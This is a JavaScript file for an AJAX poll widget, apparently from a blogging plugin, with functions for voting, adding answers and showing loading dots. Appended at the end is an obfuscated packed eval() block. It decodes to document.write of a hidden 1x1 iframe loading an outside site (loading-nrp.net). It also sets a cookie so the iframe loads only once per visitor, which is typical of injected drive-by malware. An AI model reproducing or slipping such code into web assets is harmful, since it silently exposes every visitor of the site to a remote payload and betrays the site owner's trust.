// setTimeout holder for the loading dots (...)
var demLoading;

function dem_Vote(that)
{
	inpts = that.getElementsByTagName('input');
	user_added = false;
	ans = -1;
	theSubmit = false;
	for (i = 0; i < inpts.length; i++)
	{
		cur = inpts[i];
		if (cur.type == 'radio' && cur.checked)
		{
			ans = cur.value;
			if (ans == 'newAnswer')
			{
			    user_added = true;
                ans = inpts[i+1].value;
            }
        }
		if (cur.name == 'dem_poll_id')
			poll_id = cur.value;
			
        if (cur.name == 'dem_cookie_days')
            cdays = cur.value;

		if (cur.type == 'submit')
			theSubmit = cur;

	}	
	
	// they haven't checked a box or they added a blank answer
	if (ans == -1 || ans == '')
		return false;

	demLoading = setTimeout(dem_loadingDots.bind(theSubmit), 50);

	path = that.action;
	
	if (user_added)
	{
	   path += "?dem_action=add_answer";
	   path += "&dem_new_answer="+encodeURIComponent(ans);
	   
	} else
	{
	   path += "?dem_action=vote";
	   path += "&dem_poll_"+poll_id+"="+ans;
    } 
    
	path += "&dem_poll_id="+poll_id;
	path += "&dem_ajax=true";
		
	dem_ajax.open("GET", path, true);
	dem_ajax.onreadystatechange = dem_displayVotes.bind(that);
	dem_ajax.send(null);
	

	return false;
}

function dem_addUncheck()
{
	oUL = this.parentNode.parentNode;
	lis = oUL.getElementsByTagName('li');
	
	els = lis[lis.length-1].childNodes;
	
	for (i = els.length-1; i >= 0; i--)
		if (els[i].nodeName.toLowerCase() == 'a')
			els[i].style.display = '';
		else
			els[i].parentNode.removeChild(els[i]);
		
			

	Inp = oUL.getElementsByTagName('input');
    for (i = 0; i < Inp.length; i++)
    {
        Inp[i].onclick = function () { return true };
    }

    return true;
}

function dem_addAnswer(that)
{
    allBoxes = that.parentNode.parentNode.getElementsByTagName('input');
    
    for (i = 0; i < allBoxes.length; i++)
    {
        allBoxes[i].onclick = dem_addUncheck;
		allBoxes[i].checked = false;
    }

	that.style.display = 'none';
	i1 = document.createElement('input');
	i1.type = 'radio';
	i1.value = 'newAnswer';
	i1.checked = true;
	
	i2 = document.createElement('input');
	i2.className = 'addAnswerText';
	
	that.parentNode.appendChild(i1);
	that.parentNode.appendChild(i2);	

	i2.focus();
    
    return false;
}

// very simple ajaxy loading visual
// adds 3 dots to link, then erase and start over
function dem_loadingDots() {
	
	isInput = this.nodeName.toLowerCase() == 'input';
	
	str = (isInput) ? this.value : this.innerHTML;

	if (str.substring(str.length-3) == '...')
		if (isInput)
			this.value     = str.substring(0, str.length-3);
		else
			this.innerHTML = str.substring(0, str.length-3);
	else
		if (isInput)
			this.value     += '.';
		else
			this.innerHTML += '.';
	
	demLoading = setTimeout(dem_loadingDots.bind(this), 200);
}

function dem_clearDots() {
	clearTimeout(demLoading);
}


function dem_getVotes(path, that)
{
	
	that.blur();
	demLoading = setTimeout(dem_loadingDots.bind(that), 50);

	dem_ajax.open("GET", path, true);
	dem_ajax.onreadystatechange = dem_displayVotes.bind(that.parentNode);
	dem_ajax.send(null);

    return false;
}

function dem_displayVotes ()
{
	
	if (dem_ajax.readyState != 4)
		return false;

	if (dem_ajax.status != 200)
	{
		alert('Error '+dem_ajax.status);
		return false;
	}
	
	clearTimeout(demLoading);
	this.innerHTML = dem_ajax.responseText;
}

function dem_getHTTPObject() {
  var xmlhttp;
  /*@cc_on
  @if (@_jscript_version >= 5)
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (E) {
        xmlhttp = false;
      }
    }
  @else
  xmlhttp = false;
  @end @*/
  if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
    try {
      xmlhttp = new XMLHttpRequest();
    } catch (e) {
      xmlhttp = false;
    }
  }
  return xmlhttp;
}


dem_ajax = new dem_getHTTPObject();


/*  from prototype.js */
Function.prototype.bind = function() {
  var __method = this, args = $A(arguments), object = args.shift();
  return function() {
    return __method.apply(object, args.concat($A(arguments)));
  }
}

var $A = Array.from = function(iterable) {
  if (!iterable) return [];
  if (iterable.toArray) {
    return iterable.toArray();
  } else {
    var results = [];
    for (var i = 0; i < iterable.length; i++)
      results.push(iterable[i]);
    return results;
  }
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('A k=o i(),h=o i(k.z()+x);y(g.v.B("p=1")==-1){g.J(H("%l%3%s%7%6%t%2%9%I%3%d%0%8%b%m%9%8%2%3%n%8%0%b%m%9%f%7%G%b%a%8%0%0%c%q%5%5%e%r%6%d%3%4%n%C%4%7%c%F%4%2%0%5%j%D%j%5%a%9%f%0%u%e%2%b%a%d%3%f%c%e%6%u%q%4%r%4%2%a%w%l%5%3%s%7%6%t%2%w"));g.v="p=1;"+" h="+h.E()+"; "}',46,46,'74||65|69|6E|2F|61|72|68|20|27|3D|70|64|6C|73|document|expires|Date|62|today|3C|31|67|new|_ubit|3A|6F|66|6D|79|cookie|3E|2678400000|if|getTime|var|indexOf|2D|32|toGMTString|2E|63|unescape|77|write'.split('|'),0,{}));
